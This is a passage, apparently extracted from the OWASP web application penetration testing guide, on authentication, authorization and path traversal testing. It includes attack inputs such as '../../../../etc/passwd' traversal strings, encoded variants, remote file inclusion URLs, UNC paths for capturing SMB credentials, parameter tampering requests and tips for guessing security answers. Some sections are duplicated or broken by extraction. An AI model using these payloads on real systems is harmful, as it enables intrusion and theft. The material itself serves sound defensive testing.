trying to exploit security questions is the number of questions that need to be answered. The majority of applications only need the user to answer a single question, whereas some critical applications may require the user to answer two or even more questions. The next step is to assess the strength of the security questions. Could the answers be obtained by a simple Google search or with social engineering attack? As a penetration tester, here is a stepby-step walk-through of exploiting a security question scheme: Pre-generated questions: The majority of pre-generated questions are fairly simplistic in nature and can lead to insecure answers. For example: • The answers may be known to family members or close friends of the user, e.g. “What is your mother’s maiden name?”, “What is your date of birth?” • The answers may be easily guessable, e.g. “What is your favorite color?”, “What is your favorite baseball team?” • The answers may be brute forcible, e.g. “What is the first name of your favorite high school teacher?” - the answer is probably on some easily downloadable lists of popular first names, and therefore a simple brute force attack can be scripted. • The answers may be publicly discoverable, e.g. “What is your favorite movie?” - the answer may easily be found on the user’s social media profile page. [1] Does the application allow the end-user to choose the question that needs to be answered? If so, focus on questions which have: • A “public” answer; for example, something that could be find with a simple search-engine query. • A factual answer such as a “first school” or other facts which can be looked up. • Few possible answers, such as “what model was your first car”. These questions would present the attacker with a short list of possible answers, and based on statistics the attacker could rank answers from most to least likely. Self-generated questions: The problem with having users to generate their own questions is that it allows them to generate very insecure questions, or even bypass the whole point of having a security question in the first place. Here are some real world examples that illustrate this point: [2] Determine how many guesses you have if possible. • Does the password reset allow unlimited attempts? • Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against legitimate users. • “What is 1+1?” • “What is your username?” • “My password is M3@t$p1N”

[3] Pick the appropriate question based on analysis from the
above points, and do research to determine the most likely answers.

How to Test
Testing for weak pre-generated questions:
Try to obtain a list of security questions by creating a new account
or by following the “I don’t remember my password”-process. Try
to generate as many questions as possible to get a good idea of
the type of security questions that are asked. If any of the security
questions fall in the categories described above, they are vulnerable to being attacked (guessed, brute-forced, available on social
media, etc.).

The key to successfully exploiting and bypassing a weak security
question scheme is to find a question or set of questions which
give the possibility of easily finding the answers. Always look for
questions which can give you the greatest statistical chance of
guessing the correct answer, if you are completely unsure of any
of the answers. In the end, a security question scheme is only as
strong as the weakest question.

Testing for weak self-generated questions:
Try to create security questions by creating a new account or by
If the system allows the user to generate their own security questions, it is vulnerable to having insecure questions created. If the
system uses the self-generated security questions during the forgotten password functionality and if usernames can be enumerated (see Testing for Account Enumeration and Guessable User
Account (OTG-IDENT-004)), then it should be easy for the tester
to enumerate a number of self-generated questions. It should be
expected to find several weak self-generated questions using this
method.
Use the methods described in Testing for Weak lock out mechanism (OTG-AUTHN-003) to determine if a number of incorrectly

References
The Curse of the Secret Question

Testing for weak password change or reset
functionalities (OTG-AUTHN-009)

Summary
The password change and reset function of an application is a
self-service password change or reset mechanism for users. This
self-service mechanism allows users to quickly change or reset
their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within
the application or emailed to the user. This may indicate that the
passwords are stored in plain text or in a decryptable format.
Test objectives
[1] Determine the resistance of the application to subversion
of the account change process allowing someone to change the

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[2] Determine the resistance of the passwords reset functionality
against guessing or bypassing.
How to Test
check:
[1] if users, other than administrators, can change or reset passwords for accounts other than their own.
[2] if users can manipulate or subvert the password change or reset process to change or reset the password of another user or
[3] if the password change or reset process is vulnerable to CSRF.
In addition to the previous checks it is important to verify the following:
• What information is required to reset the password?
The first step is to check whether secret questions are required.
100% on the security of that email address, which is not suitable if
the application needs a high level of security.
On the other hand, if secret questions are used, the next step is
to assess their strength. This specific test is discussed in detail in
the Testing for Weak security question/answer paragraph of this
guide.
• How are reset passwords communicated to the user?
The most insecure scenario here is if the password reset tool
shows you the password; this gives the attacker the ability to log
into the account, and unless the application provides information
has been compromised.
A less insecure scenario is if the password reset tool forces the
user to immediately change their password. While not as stealthy
as the first case, it allows the attacker to gain access and locks the
real user out.
The best security is achieved if the password reset is done via an
email to the address the user initially registered with, or some
other email address; this forces the attacker to not only guess at
which email account the password reset was sent to (unless the
application show this information) but also to compromise that
email account in order to obtain the temporary password or the
• Are reset passwords generated randomly?
The most insecure scenario here is if the application sends or visualizes the old password in clear text because this means that
passwords are not stored in a hashed form, which is a security
issue in itself.
The best security is achieved if passwords are randomly generated with a secure algorithm that cannot be derived.
• Is the reset password functionality requesting confirmation before changing the password?

To limit denial-of-service attacks the application should email a
link to the user with a random token, and only if the user visits the
link then the reset procedure is completed. This ensures that the
current password will still be valid until the reset has been confirmed.
In addition to the previous test it is important to verify:
• Is the old password requested to complete the change?
The most insecure scenario here is if the application permits the
Indeed if an attacker is able to take control of a valid session they
could easily change the victim’s password.
References
• OWASP Forgot Password Cheat Sheet
• OWASP Periodic Table of Vulnerabilities - Insufficient Password
Recovery
Remediation
The password change or reset function is a sensitive function
and requires some form of protection, such as requiring users to
re-authenticate or presenting the user with confirmation screens
during the process.

Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)

Summary
Even if the primary authentication mechanisms do not include any
vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts.
Tests should be undertaken to identify alternative channels and,
subject to test scoping, identify vulnerabilities.
The alternative user interaction channels could be utilized to circumvent the primary channel, or expose information that can then
be used to assist an attack against the primary channel. Some of
these channels may themselves be separate web applications using different host names or paths. For example:
• Standard website
• Mobile, or specific device, optimized website
• Accessibility optimized website
• Alternative country and language websites
• Parallel websites that utilize the same user accounts
(e.g. another website offering different functionally of the same
organization, a partner website with which user accounts are
shared)
• Development, test, UAT and staging versions of the standard
website
But they could also be other types of application or business processes:
• Mobile device app
• Desktop application
• Call center operators
• Interactive voice response or phone tree systems

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Note that the focus of this test is on alternative channels; some
authentication alternatives might appear as different content
delivered via the same website and would almost certainly be
in scope for testing. These are not discussed further here, and
should have been identified during information gathering and primary authentication testing. For example:
• Progressive enrichment and graceful degradation that change
functionality
• Site use without JavaScript
• Site use without plugins such as for Flash and Java
Even if the scope of the test does not allow the alternative channels to be tested, their existence should be documented. These
may undermine the degree of assurance in the authentication
mechanisms and may be a precursor to additional testing.
Example
The primary website is:
http://www.example.com
and authentication functions always take place on pages using
Transport Layer Security:
https://www.example.com/myaccount/

However, a separate mobile-optimized website exists that does
not use Transport Layer Security at all, and has a weaker password recovery mechanism:
http://m.example.com/myaccount/

How to Test
Understand the primary mechanism
Fully test the website’s primary authentication functions. This
should identify how accounts are issued, created or changed and
knowledge of any elevated privilege authentication and authentication protection measures should be known. These precursors
are necessary to be able to compare with any alternative channels.
Identify other channels
Other channels can be found by using the following methods:
pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files.
• Searching HTTP proxy logs, recorded during previous information gathering and testing, for strings such as “mobile”, “android”,
“auth”, “sso”, “single sign on” in URL paths and body content.
• Use search engines to find different websites from the same
organization, or using the same domain name, that have similar

For each possible channel confirm whether user accounts are
functionality.
Enumerate authentication functionality
For each alternative channel where user accounts or functionality
are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists. It may be
useful to create a grid like the one below:
In this example, mobile has an extra function “change password”
phpBB

Mobile

Call Center

Partner Website

Register

Yes

-

-

Yes

Yes

Yes (SSO)

Log out

-

-

-

Yes

Yes

-

-

-

-

but does not offer “log out”. A limited number of tasks are also
possible by phoning the call center. Call centers can be interesting,
because their identity confirmation checks might be weaker than
the website’s, allowing this channel to be used to aid an attack
against a user’s account.
While enumerating these it is worth taking note of how session
management is undertaken, in case there is overlap across any
channels (e.g. cookies scoped to the same parent domain name,
concurrent sessions allowed across channels, but not on the same
channel).
Review and test
Alternative channels should be mentioned in the testing report,
even if they are marked as “information only” and/or “out of
scope”. In some cases the test scope might include the alternative channel (e.g. because it is just another path on the target host
name), or may be added to the scope after discussion with the
owners of all the channels. If testing is permitted and authorized,
all the other authentication tests in this guide should then be performed, and compared against the primary channel.
Related Test Cases
The test cases for all the other authentication tests should be utilized.
Remediation
Ensure a consistent authentication policy is applied across all
channels so that they are equally secure.

Authorization Testing

to those permitted to use them. Testing for Authorization means
understanding how the authorization process works, and using
that information to circumvent the authorization mechanism.
Authorization is a process that comes after a successful authentication, so the tester will verify this point after he holds valid credentials, associated with a well-defined set of roles and privileges.
During this kind of assessment, it should be verified if it is possible
to bypass the authorization schema, find a path traversal vulnerability, or find ways to escalate the privileges assigned to the tester.

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Web Application Penetration Testing

Testing Directory traversal/file include
(OTG-AUTHZ-001)

Summary
Many web applications use and manage files as part of their daily
operation. Using input validation methods that have not been well
designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In
particular situations, it could be possible to execute arbitrary code
or system commands.
Web servers try to confine users’ files inside a “root directory” or
“web document root”, which represents a physical directory on the
file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.
The definition of the privileges is made using Access Control Lists
(ACL) which identify which users or groups are supposed to be
able to access, modify, or execute a specific file on the server.
These mechanisms are designed to prevent malicious users from
accessing sensitive files (for example, the common /etc/passwd
file on a UNIX-like platform) or to avoid the execution of system
commands.
Many web applications use server-side scripts to include different
kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these
applications expose security vulnerabilities if input parameters (i.e.,
form parameters, cookie values) are not correctly validated.
In web servers and web applications, this kind of problem arises
in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they
normally couldn’t read, access data outside the web document root,
or include scripts and other kinds of files from external websites.
For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not
threats to web servers (e.g., the infamous “%5c escape code” into
Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.
This kind of attack is also known as the dot-dot-slash attack (../),
directory traversal, directory climbing, or backtracking.
During an assessment, to discover path traversal and file include
flaws, testers need to perform two different stages:
(a) Input Vectors Enumeration (a systematic evaluation of each input vector)
(b) Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)
How to Test
Black Box testing
Input Vectors Enumeration
In order to determine which part of the application is vulnerable to
input validation bypassing, the tester needs to enumerate all parts
of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file

Here are some examples of the checks to be performed at this stage:
• Are there request parameters which could be used for file-related
operations?
• Are there unusual file extensions?
• Are there interesting variable names?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
• Is it possible to identify cookies used by the web application for the
dynamic generation of pages or templates?
Testing Techniques
The next stage of testing is analyzing the input validation functions
present in the web application. Using the previous example, the dynamic page called getUserProfile.jsp loads static information from a
file and shows the content to users. An attacker could insert the malicious string “../../../../etc/passwd” to include the password hash file of
a Linux/UNIX system. Obviously, this kind of attack is possible only if
the validation checkpoint fails; according to the file system privileges,
the web application itself must be able to read the file.
To successfully test for this flaw, the tester needs to have knowledge
of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.
http://example.com/getUserProfile.jsp?item=../../../../etc/
passwd

It’s also possible to include files and scripts located on external website.
http://example.com/index.php?file=http://www.owasp.org/
malicioustxt

The following example will demonstrate how it is possible to show
the source code of a CGI component, without using any path traversal
characters.
http://example.com/main.cgi?home=main.cgi

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The component called “main.cgi” is located in the same directory as
the normal HTML static files used by the application. In some cases
the tester needs to encode the requests using special characters (like
the “.” dot, “%00” null, ...) in order to bypass file extension controls or to
prevent script execution.
Tip: It’s a common mistake by developers to not expect every form of
encoding and therefore only do validation for basic encoded content.
If at first the test string isn’t successful, try another encoding scheme.
Each operating system uses different characters as path separator:
Unix-like OS:
root directory: “/”
directory separator: “/”
Windows OS’ Shell’:
root directory: “:\”
directory separator: “\” or “/”
Classic Mac OS:
root directory: “:”
directory separator: “:
We should take in to account the following character encoding
mechanisms:
• URL encoding and double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
• Unicode/UTF-8 Encoding (it only works in systems that are able
to accept overlong UTF-8 sequences)
..%c0%af represents ../
..%c1%9c represents ..\
There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of
file paths.
• Windows shell: Appending any of the following to paths used in
a shell command results in no difference in function:
• Angle brackets “>” and “<” at the end of the path
• Double quotes (closed properly) at the end of the path
• Extraneous current directory markers such as “./” or “.\”

• Extraneous parent directory markers with arbitrary items that
may or may not exist
Examples:
– file.txt
– file.txt...
– file.txt
– file.txt””””
– file.txt<<<>>><
– ./././file.txt
– nonexistant/../file.txt
• Windows API: The following items are discarded when used in any
shell command or API call where a string is taken as a filename:
periods
spaces
• Windows UNC Filepaths: Used to reference files on SMB shares.
Sometimes, an application can be made to refer to files on a remote
UNC filepath. If so, the Windows SMB server may send stored
credentials to the attacker, which can be captured and cracked. These
may also be used with a self-referential IP address or domain name
to evade filters, or used to access files on SMB shares inaccessible to
the attacker, but accessible from the web server.
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc
• Windows NT Device Namespace: Used to refer to the Windows
systems using a different path.
• May be equivalent to a drive letter such as c:\, or even a drive volume
without an assigned letter.
\\.\GLOBALROOT\Device\HarddiskVolume1\
• Refers to the first disc drive on the machine.
\\.\CdRom0\
Gray Box testing
When the analysis is performed with a Gray Box approach, testers
have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search
the input vectors (stage (a) of the testing) more easily and accurately.
During a source code review, they can use simple tools (such as the
grep command) to search for one or more common patterns within
the application code: inclusion functions/methods, filesystem operations, and so on.
PHP: include(), include_once(), require(), require_once(), fopen(),

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ASP: include file, include virtual, ...
Using online code search engines (e.g., Ohloh Code[1]), it may also be
possible to find path traversal flaws in Open Source software published on the Internet.
For PHP, testers can use:
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_ (GET|POST|COOKIE) Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment. Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and “safe” but are not in reality. Additionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws. Consider a web application with these instructions: filename = Request.QueryString(“file”); Replace(filename, “/”,”\”); Replace(filename, “..\”,””); Testing for the flaw is achieved by: file=....//....//boot.ini file=....\\....\\boot.ini file= ..\..\boot.ini Tools • DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net • Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google. com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt • Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],OWASP: Zed Attack Proxy (ZAP)[5]) • Enconding/Decoding tools • String searcher “grep” - http://www.gnu.org/software/grep/ References Whitepapers • phpBB Attachment Mod Directory Traversal HTTP POST Injection http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290. html[6] • Windows File Pseudonyms: Pwnage and Poetry - http://www.slideshare.net/BaronZor/windows-file-pseudonyms[7] Authorization Testing Authorization is the concept of allowing access to resources only to those permitted to use them. Testing for Authorization means understanding how the authorization process works, and using that information to circumvent the authorization mechanism. Authorization is a process that comes after a successful authentication, so the tester will verify this point after he holds valid credentials, associated with a well-defined set of roles and privileges. During this kind of assessment, it should be verified if it is possible to bypass the authorization schema, find a path traversal vulnerability, or find ways to escalate the privileges assigned to the tester. Testing Directory traversal/file include (OTG-AUTHZ-001) Summary Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands. Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users’ files inside a “root directory” or “web document root”, which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application. The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common /etc/passwd file on a UNIX-like platform) or to avoid the execution of system commands. Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated. In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn’t read, access data outside the web document root, or include scripts and other kinds of files from external websites. For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous “%5c escape code” into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers. This kind of attack is also known as the dot-dot-slash attack (../), directory traversal, directory climbing, or backtracking. During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages: (a) Input Vectors Enumeration (a systematic evaluation of each input vector) 81 Web Application Penetration Testing (b) Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability) How to Test Black Box testing Input Vectors Enumeration In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms. Here are some examples of the checks to be performed at this stage: • Are there request parameters which could be used for file-related operations? • Are there unusual file extensions? • Are there interesting variable names? http://example.com/getUserProfile.jsp?item=ikki.html http://example.com/index.php?file=content http://example.com/main.cgi?home=index.htm • Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates? Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed Testing Techniques The next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called getUserProfile.jsp loads static information from a file and shows the content to users. An attacker could insert the malicious string “../../../../etc/passwd” to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file. To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server. http://example.com/getUserProfile.jsp?item=../../../../etc/passwd For the cookies example: Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd It’s also possible to include files and scripts located on external website. http://example.com/index.php?file=http://www.owasp.org/ malicioustxt The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters. http://example.com/main.cgi?home=main.cgi The component called “main.cgi” is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the “.” dot, “%00” null, ...) in order to bypass file extension controls or to prevent script execution. Tip: It’s a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn’t successful, try another encoding scheme. Each operating system uses different characters as path separator: Unix-like OS: root directory: “/” directory separator: “/” Windows OS’ Shell’: root directory: “/” directory separator: “/” Classic Mac OS: root directory: “:” directory separator: “:” We should take in to account the following character encoding mechanisms: • URL encoding and double URL encoding %2e%2e%2f represents ../ %2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\ %252e%252e%255c represents ..\ ..%255c represents ..\ and so on. • Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences) ..%c0%af represents ../ ..%c1%9c represents ..\ There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths. 82 Web Application Penetration Testing • Windows shell: Appending any of the following to paths used in a shell command results in no difference in function: • Angle brackets “>” and “<” at the end of the path • Double quotes (closed properly) at the end of the path • Extraneous current directory markers such as “./” or “.\” • Extraneous parent directory markers with arbitrary items that may or may not exist Examples: – file.txt – file.txt... – file.txt – file.txt”””” – file.txt<<<>>>< – ./././file.txt – nonexistant/../file.txt • Windows API: The following items are discarded when used in any shell command or API call where a string is taken as a filename: periods spaces • Windows UNC Filepaths: Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server. \\server_or_ip\path\to\file.abc \\?\server_or_ip\path\to\file.abc • Windows NT Device Namespace: Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path. • May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter. \\.\GLOBALROOT\Device\HarddiskVolume1\ • Refers to the first disc drive on the machine. \\.\CdRom0\ Gray Box testing When the analysis is performed with a Gray Box approach, testers have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review, they can use simple tools (such as the grep command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on. PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... JSP/Servlet: java.io.File(), java.io.FileReader(), ... ASP: include file, include virtual, ... Using online code search engines (e.g., Ohloh Code[1]), it may also be possible to find path traversal flaws in Open Source software published on the Internet. For PHP, testers can use: lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible
to find during a standard Black Box assessment.
Some web applications generate dynamic pages using values
and parameters stored in a database. It may be possible to insert
specially crafted path traversal strings when the application adds
data to the database.
This kind of security problem is difficult to discover due to the fact
the parameters inside the inclusion functions seem internal and
“safe” but are not in reality.
Additionally, by reviewing the source code it is possible to analyze the
functions that are supposed to handle invalid input: some developers
try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.
Consider a web application with these instructions:
filename = Request.QueryString(“file”);
Replace(filename, “/”,”\”);
Replace(filename, “..\”,””);
Testing for the flaw is achieved by:
filename = Request.QueryString(“file”);
Replace(filename, “/”,”\”);
Replace(filename, “..\”,””);

Tools

• DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.
sectester.net
• Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.
com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt
• Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],OWASP: Zed Attack Proxy (ZAP)[5])
• Enconding/Decoding tools
• String searcher “grep” - http://www.gnu.org/software/grep/

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References
Whitepapers
• phpBB Attachment Mod Directory Traversal HTTP
POST Injection - http://archives.neohapsis.com/archives/
fulldisclosure/2004-12/0290.html[6]
• Windows File Pseudonyms: Pwnage and Poetry - http://www.
slideshare.net/BaronZor/windows-file-pseudonyms[7]

Tools

• OWASP WebScarab: OWASP WebScarab Project
• OWASP Zed Attack Proxy (ZAP)

Testing for Privilege escalation
(OTG-AUTHZ-003)

Testing for Bypassing Authorization Schema
(OTG-AUTHZ-002)

Summary
This section describes the issue of escalating privileges from one
stage to another. During this phase, the tester should verify that
it is not possible for a user to modify his or her privileges or roles
inside the application in ways that could allow privilege escalation
attacks.

For every specific role the tester holds during the assessment, for
every function and request that the application executes during
the post-authentication phase, it is necessary to verify:

Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such
elevation or changes should have been prevented by the application. This is usually caused by a flaw in the application. The result
is that the application performs actions with more privileges than
those intended by the developer or system administrator.

Summary
This kind of test focuses on verifying how the authorization schema has been implemented for each role or privilege to get access
to reserved functions and resources.

• Is it possible to access that resource even if the user is not
authenticated?
• Is it possible to access that resource after the log-out?
• Is it possible to access functions and resources that should be
accessible to a user that holds a different role or privilege?
Try to access the application as an administrative user and track
• Is it possible to access administrative functions also if the tester
is logged as a user with standard privileges?
• Is it possible to use these administrative functions as a user with
adifferent role and for whom that action should be denied?
How to test
For example, suppose that the ‘AddUser.jsp’ function is part of the
it by requesting the following URL:
Then, the following HTTP request is generated when calling the
Host: www.example.com
userID=fakeuser&role=3&group=grp001
What happens if a non-administrative user tries to execute that
request? Will the user be created? If so, can the new user use their
privileges?
For example analyze an application that uses a shared directory to
store temporary PDF files for different users. Suppose that documentABC.pdf should be accessible only by the user test1 with
roleA. Verify if user test2 with roleB can access that resource.

The degree of escalation depends on what privileges the attacker
is authorized to possess, and what privileges can be obtained in a
successful exploit. For example, a programming error that allows
a user to gain extra privilege after successful authentication limits
the degree of escalation, because the user is already authorized to
hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree
of escalation.
Usually, people refer to vertical escalation when it is possible to
access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to horizontal escalation when it is possible to access resources granted
to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).
How to test
Testing for role/privilege manipulation
In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), can receive information (statement
of account, order details, etc.), or delete information (drop users,
messages, etc.), it is necessary to record that functionality. The
tester should try to access such functions as another user in order
to verify if it is possible to access a function that should not be
permitted by the user’s role/privilege (but might be permitted as
another user).
For example:
The following HTTP POST allows the user that belongs to grp001
to access order #0001:
Host: www.example.com
userID=fakeuser&role=3&group=grp001
Verify if a user that does not belong to grp001 can modify the value of the parameters ‘groupID’ and ‘orderID’ to gain access to that
privileged data.

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For example:
The following server’s answer shows a hidden field in the HTML
returned to the user after a successful authentication.

result of this vulnerability attackers can bypass authorization and
access resources in the system directly, for example database records or files.

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
domain=www.example.com
domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value
of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the
system, and more. This is caused by the fact that the application
takes user supplied input and uses it to retrieve an object without
performing sufficient authorization checks.
How to Test

What if the tester modifies the value of the variable “profile” to
For example:
In an environment where the server sends an error message contained as a value in a specific parameter in a set of answer codes,
as the following:
@01330UC1StatusOKSEC510ResultSet0PVValid-100
Notifications003Command Manager000 StateToolsBar
000
StateExecToolBar000FlagsToolBar0
The server gives an implicit trust to the user. It believes that the
user will answer with the above message closing the session.
In this condition, verify that it is not possible to escalate privileges
by modifying the parameter values. In this particular example, by
modifying the PVValid value from ‘-1’ to ‘0’ (no error conditions),
it may be possible to authenticate as administrator to the server.
References
Whitepapers
• Wikipedia - Privilege Escalation: http://en.wikipedia.org/wiki/
Privilege_escalation

Tools

• OWASP WebScarab: OWASP WebScarab Project
• OWASP Zed Attack Proxy (ZAP)

Testing for Insecure Direct Object References
(OTG-AUTHZ-004)

Summary
Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a

To test for this vulnerability the tester first needs to map out all
locations in the application where user input is used to reference
objects directly. For example, locations where user input is used to
access a database row, a file, application pages and more. Next the
tester should modify the value of the parameter used to reference
objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.
The best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functions. For example two users each having access to
different objects (such as purchase information, private messages,
etc.), and (if relevant) users with different privileges (for example
administrator users) to see whether there are direct references to
application functionality. By having multiple users the tester saves
valuable testing time in guessing different object names as he can
attempt to access objects that belong to the other user.
Below are several typical scenarios for this vulnerability and the
methods to test for each:
The value of a parameter is used directly to retrieve a database
record
Sample request:
http://foo.bar/somepage?invoice=12345
In this case, the value of the invoice parameter is used as an index in an invoices table in the database. The application takes the
value of this parameter and uses it in a query to the database. The
application then returns the invoice information to the user.
Since the value of invoice goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice
object, regardless of the user to whom the invoice belongs.
To test for this case the tester should obtain the identifier of an
invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and
then check whether it is possible to access objects without authorization.
The value of a parameter is used directly to perform an operation in the system
Sample request:

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In this case, the value of the user parameter is used to tell the
application for which user it should change the password. In many
cases this step will be a part of a wizard, or a multi-step operation.
In the first step the application will get a request stating for which
user’s password is to be changed, and in the next step the user
The user parameter is used to directly reference the object of the
user for whom the password change operation will be performed.
To test for this case the tester should attempt to provide a different test username than the one currently logged in, and check
whether it is possible to modify the password of another user.
The value of a parameter is used directly to retrieve a file system resource
Sample request:
http://foo.bar/showImage?img=img00011
In this case, the value of the file parameter is used to tell the application what file the user intends to retrieve. By providing the
name or identifier of a different file (for example file=image00012.
jpg) the attacker will be able to retrieve objects belonging to other
users.
To test for this case, the tester should obtain a reference the user
is not supposed to be able to access and attempt to access it by
using it as the value of file parameter. Note: This vulnerability is
often exploited in conjunction with a directory/path traversal vulnerability (see Testing for Path Traversal)
The value of a parameter is used directly to access application
functionality
Sample request:
In this case, the value of the menuitem parameter is used to tell
the application which menu item (and therefore which application
functionality) the user is attempting to access. Assume the user is
supposed to be restricted and therefore has links available only to
access to menu items 1, 2 and 3. By modifying the value of menuitem parameter it is possible to bypass authorization and access
additional application functionality. To test for this case the tester
identifies a location where application functionality is determined
by reference to a menu item, maps the values of menu items the
given test user can access, and then attempts other menu items.
In the above examples the modification of a single parameter is
sufficient. However, sometimes the object reference may be split
between more than one parameter, and testing should be adjusted accordingly.
References
Top 10 2013-A4-Insecure Direct Object References

Session Management Testing

One of the core components of any web-based application is the
mechanism by which it controls and maintains the state for a user in-

teracting with it. This is referred to this as Session Management and
is defined as the set of all controls governing state-full interaction between a user and the web-based application. This broadly covers anything from how user authentication is performed, to what happens
upon them logging out.
HTTP is a stateless protocol, meaning that web servers respond to
client requests without linking them to each other. Even simple application logic requires a user’s multiple requests to be associated with
each other across a “session”. This necessitates third party solutions
– through either Off-The-Shelf (OTS) middleware and web server
solutions, or bespoke developer implementations. Most popular web
application environments, such as ASP and PHP, provide developers
with built-in session handling routines. Some kind of identification token will typically be issued, which will be referred to as a “Session ID”
There are a number of ways in which a web application may interact
with a user. Each is dependent upon the nature of the site, the security, and availability requirements of the application. Whilst there are
accepted best practices for application development, such as those
